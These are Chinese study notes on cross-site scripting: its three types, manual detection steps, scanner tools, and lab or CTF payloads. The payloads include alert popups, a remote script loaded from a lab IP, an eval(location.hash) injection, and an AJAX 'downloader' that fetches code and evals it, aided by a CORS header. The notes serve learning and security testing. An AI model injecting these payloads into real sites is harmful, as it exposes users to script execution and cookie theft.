XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。 XSS属于客户端攻击,但网站管理人员也属于用户之一,这就说明XSS可以攻击“服务器端”
XSS攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码一般使用JavaScript语言编写,因此JavaScript能力越强,XSS的威力越大。攻击者所需要的就是向Web页面中注入JavaScript代码
XSS主要分为三类:反射型、存储型和DOM型
也叫作非持久性XSS,当用户访问一次带有XSS代码的URL请求时,浏览器解析这段代码,造成XSS漏洞。可以用于获取Cookie等
又称为持久性XSS,允许用户存储数据的Web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS攻击
DOM(Document Object Model),即文档对象模型,通常在HTML、XHTML、XML,使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式 DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。 DOM的规定:
整个文档是一个文档节点每个HTML标签是一个元素节点包含在HTML元素中的文本是文本节点每一个HTML属性是一个属性节点节点与节点之间都有等级关系基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段
【目前还没有理解DOM型XSS与反射型的差别】
在手工检测时,一定要选测有特殊意义的字符,这样可以快速测试是否存在XSS,而不要直接输入XSS跨站语句测试,应该一步一步地进行。
输入一些敏感字符比如“<、>、()”等,提交申请后查看HTML源代码,看看是否被转义,为了方便查找这些字符可以用“AAAAA<>”字符串,便于查找
有很多Web应用程序源代码是不对外公开的,这时在测试XSS时就有可能无法看到输出数据,对于这种情况,通常采取“/>XSS Test”闭合标签来测试
APPSCAN、WEVS、Burp Suite等都可以检测XSS漏洞 XSSER、XSSF都是专业XSS扫描工具
利用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC POC 漏洞的验证与检测 EXP 漏洞的完整利用工具 shellcode 利用漏洞时,所执行的代码 payload 攻击载荷 sqlmap 攻击代码的模版
<script> alert(/xss/)</script>//弹窗,最常用的 <script> confirm('xss')</script> <script>prompt('xss')</script>例如,<img src='./smile.jpg' onmouseover = 'alert(/xss/)'> 会引入一个图片,当鼠标在图片上悬停的时候会触发JS代码
shellcode 就是在利用漏洞所执行的代码 完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用shellcode
可以将js代码单独放在一个js文件中,然后通过http协议远程加载该脚本
<script src="http://172.16.132.138/XSS-TEST /normal/xss.js"></script> // xss.js内容 alert('xss.js')我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码,windos.location.hash会获取URL中#后的内容 我们可以构造如下代码?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)直接提交到测试页面
XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页的XSS代码
<script> function XSS(){ if(window.XMLHttpRequest){ a = new XMLHttpRequest(); }else if(window.ActiveXObject){ a = new ActiveXObject("Microsoft.XMLHTTP"); }else {return;} a.open('get','http://127.0.0.1/PHPTutorial/WWW/xss_downloader.php',false); }; a.send(); b = a.responseText; eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));} XSS(); </script>将上述代码放入可写入xss位置,但由于AJAX技术限制只能在本域访问
<?php header('Access-Control-Allow_Origin:*'); header('Access-Control-Allow_Header:Origin,X-Request-With,COntent-Type,Accept'); ?>上述代码可补充AJAX的跨域访问,使得在其他域名下也可访问xss_downloader.php文件
我们可以吧Shellcode存储在客户端的本地域中,比如HTTP Cookie、FLash共享对象、UserDate、localStorage等。
http://test.ctf8.com/ 首先利用上述查看代码,发现在最后出现了一个双引号和尖括号闭合,说明我们要写的payload可以使用双引号和尖括号来闭合源代码以逃逸 payload: "><img src="#" Onerror="alert(/xss/)"
